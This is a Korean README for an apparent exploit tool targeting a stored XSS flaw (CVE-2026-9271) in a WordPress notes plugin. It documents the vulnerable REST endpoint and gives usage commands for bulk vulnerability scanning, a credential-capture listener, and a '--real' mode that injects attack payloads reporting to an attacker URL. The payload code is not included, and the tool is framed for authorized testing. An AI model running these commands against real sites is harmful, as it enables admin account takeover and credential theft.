
WordPress KeepInMind 플러그인의 CVE-2026-9271에 대한 인가된 저장형 XSS 평가 도구입니다. 취약한 버전을 탐지하고, 안전한 테스트 페이로드를 주입하며, SQLite 보고와 함께 대량 스캔을 지원합니다.
CVE-2026-9271용 공인 보안 평가 도구
저자: Sudeepa Wanigarathna · 도구: KIM-Guardian Pro v1.0
메인 스크립트: CVE-2026-9271.py

[!IMPORTANT] 승인된 사용 전용. 이 도구는 보안 연구, 교육, 그리고 본인이 소유했거나 명시적인 서면 승인을 받은 시스템의 테스트를 위한 것입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대한 어떠한 책임도 지지 않습니다.
CVE-2026-9271은 WordPress KeepInMind(Dashboard Notes) 플러그인의 저장형 크로스 사이트 스크립팅(XSS) 취약점입니다. 메모 콘텐츠의 불충분한 검증으로 인해 낮은 권한의 인증된 사용자(Contributor+)가 관리자 브라우저에서 실행되는 HTML/JS를 저장할 수 있으며, 이는 관리자 세션 탈취 / 계정 장악으로 이어질 수 있습니다.
KIM-Guardian Pro(CVE-2026-9271.py)는 승인된 테스터를 위한 Python 평가 도구로, 다음을 수행할 수 있습니다:
reports/ 아래 텍스트 보고서로 저장| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-9271 |
| 공격 벡터 | 인증됨 (Contributor+) → 저장형 XSS → 관리자 영향 |
| 영향 | 관리자 브라우저 XSS; 취약한 설치 환경에서 잠재적 계정 장악 |
| 영향을 받는 제품 | WordPress KeepInMind / KeepInMind Dashboard Notes |
| 영향을 받는 버전 | ≤ 0.8.4.2 (**0.8.4.3+**에서 패치됨) |
| 취약점 유형 | 저장형 크로스 사이트 스크립팅 (XSS) |
| CWE | CWE-79 (웹 페이지 생성 중 입력의 부적절한 중화) |
| 표면 | 역할 |
|---|---|
/wp-json/keepinmind/v1/notes | 메모 생성/읽기에 사용되는 REST API |
/wp-admin/ | 저장된 메모가 렌더링될 수 있는 관리자 대시보드 |
| 플러그인 경로 | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup이 아닌 경우)| 기능 | 설명 |
|---|---|
| 플러그인 탐지 | KeepInMind 설치 경로 및 버전 문자열 확인 |
| WordPress 버전 | 가능한 경우 generator/버전 메타데이터 추출 |
| 안전한 테스트 모드 | 자격 증명을 캡처하지 않고 XSS를 증명하는 기본 오버레이 마커 |
| 인증 평가 | 전체 REST 주입을 위해 Contributor+ 자격 증명으로 로그인 |
| 페이로드 정리 | 평가 후 주입된 메모 제거 |
| 대량 스캔 | 플러그인 및 취약 버전에 대한 다중 스레드 URL 목록 스캔 |
| SQLite 이력 | 평가를 kim_guardian.db에 저장 |
| 텍스트 보고서 | 타임스탬프가 포함된 보고서를 reports/에 작성 |
| 캡처 서버 | 랩 자격 증명 캡처 훈련을 위한 선택적 로컬 HTTP 리스너 |
| 웹 UI | 선택적 Flask 대시보드 (web 모드) |
| 기능 | 설명 |
|---|---|
| 상세 로깅 | logs/ 아래 파일 + 콘솔 디버그 |
| 프록시 지원 | Burp 또는 기타 HTTP 프록시를 통한 트래픽 라우팅 |
| 구성 가능한 타임아웃 | 요청별 타임아웃 (기본 30초) |
| 작업자 풀 | 대량 스캔을 위한 조정 가능한 동시성 |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Recommended extras used by this script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # optional — web mode only
https://lab.example을(를) 랩 또는 승인된 대상으로만 교체하세요.
# Help / modes
python3 CVE-2026-9271.py --help
# Safe single-target assessment (default: test payload)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Bulk version / plugin scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# List recent assessments from SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Local capture server (lab only)
python3 CVE-2026-9271.py capture --port 5000
# Optional web UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
기본 모드는 캡처하지 않는 테스트 오버레이를 사용합니다. REST API를 통한 주입을 위해 Contributor+ 자격 증명을 제공하세요.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
워크플로우:
-u/-p가 제공된 경우)--no-cleanup이 아닌 경우)reports/kim_assessment_*.txt에 저장python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
공격자/캡처 기본 URL 및 --real이 필요합니다. 랩에서는 캡처를 localhost로 유지하는 것이 좋습니다.
# Terminal 1 — capture listener
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — assessment with capture endpoint
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
캡처 UI (서버 실행 중일 때):
| 경로 | 용도 |
|---|---|
/ | 캡처 서버 상태 페이지 |
/capture | 양식 제출용 POST 엔드포인트 |
/captured | 최근 캡처된 항목 (랩 검토) |
# targets.txt — one URL per line
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Or comma-separated URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
대량 검사에는 일반적으로 WordPress 힌트, KeepInMind 버전, REST 연결 가능 여부, wp-login.php 존재 여부가 포함됩니다.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
보안을 위해 기본적으로 localhost에 바인딩됩니다.
| 모드 | 설명 |
|---|---|
assess | 단일 대상 KeepInMind 평가 |
bulk | 다중 대상 플러그인/버전 스캔 |
capture | 로컬 자격 증명 캡처 HTTP 서버 |
web | 선택적 Flask 웹 UI |
db | 저장된 평가 목록 표시 |
assess| 인자 | 기본값 | 설명 |
|---|---|---|
url | 필수 | 대상 WordPress URL |
-u, --username | — | WordPress 사용자 이름 (Contributor+) |
-p, --password | — | WordPress 비밀번호 |
-a, --attacker | — | 캡처 서버 기본 URL (랩 시뮬레이션) |
-t, --test | 켜짐 | 안전한 테스트 페이로드 선호 |
-r, --real | 꺼짐 | 랩 공격 페이로드 활성화 (--attacker 필요) |
--no-cleanup | 꺼짐 | 주입된 메모를 그대로 유지 |
-v, --verbose | 꺼짐 | 상세/디버그 로깅 |
--timeout | 30 | 요청 타임아웃 (초) |
--proxy | — | 프록시 URL (예: http://127.0.0.1:8080) |
bulk| 인자 | 기본값 | 설명 |
|---|---|---|
-f, --file | — | URL 목록 파일 (줄당 하나) |
-u, --urls | — | 쉼표로 구분된 URL |
-w, --workers | 5 | 스레드 풀 크기 |
-o, --output | bulk_scan_results.txt | 보고서 경로 |
capture| 인자 | 기본값 | 설명 |
|---|---|---|
--port | 5000 | 수신 포트 |
web| 인자 | 기본값 | 설명 |
|---|---|---|
--host | 127.0.0.1 | 바인딩 주소 |
--port | 8080 | 수신 포트 |
db| 인자 | 기본값 | 설명 |
|---|---|---|
--list | 꺼짐 | 최근 평가 목록 표시 |
--limit | 10 | 표시할 최대 행 수 |
인증, 플러그인 탐지, 주입, 검증 및 정리에 대한 색상화된 상태 표시.
성공적인 assess 실행은 다음과 같은 파일을 작성합니다:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| 파일 | 용도 |
|---|---|
kim_guardian.db | 평가 이력 (대상, 버전, 취약점 플래그, 위험도, 기간) |
| 경로 | 용도 |
|---|---|
logs/kim_pro_*.log | 실행별 애플리케이션 로그 |
| 증상 | 시도할 방법 |
|---|---|
| 인증 실패 | Contributor+ 자격 증명 확인; /wp-login.php 확인; -v 사용 |
| 플러그인이 탐지되지 않음 | KeepInMind 경로/이름 확인; 상세 모드 시도 |
| REST 주입 실패 | 인증 + nonce 확인; Burp를 통해 --proxy로 검사 |
| 타임아웃/연결 오류 | --timeout 증가; 네트워크/TLS/프록시 확인 |
| 테스트 모드에서 취약점 없음 | 버전 ≤ 0.8.4.2 확인; 관리자에게 메모가 렌더링되는지 확인 |
web 모드에서 Flask 누락 | pip install flask |
| BeautifulSoup 누락 | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── kim_guardian.db # SQLite assessment history (generated)
├── logs/ # Runtime logs (generated)
├── reports/ # Assessment text reports (generated)
└── venv/ # Local virtualenv (optional)
이 프로젝트는 방어적 보안 연구 및 승인된 침투 테스트를 위해 있는 그대로 제공됩니다.
이 소프트웨어를 사용함으로써 다음 사항에 동의합니다:
소유하지 않은 운영 시스템에서 이 문제를 발견한 경우, 사이트 소유자 및 플러그인 유지관리자와 함께 책임 있는 공개 절차를 따르세요.
컴퓨터 시스템에 대한 무단 접근은 불법입니다.
| 역할 | 이름 |
|---|---|
| 도구 저자 | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| 도구 | KIM-Guardian Pro v1.0 |
| 메인 스크립트 | CVE-2026-9271.py |
| 라이선스 | 교육 / 방어적 용도 |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
승인된 보안 테스트 전용입니다.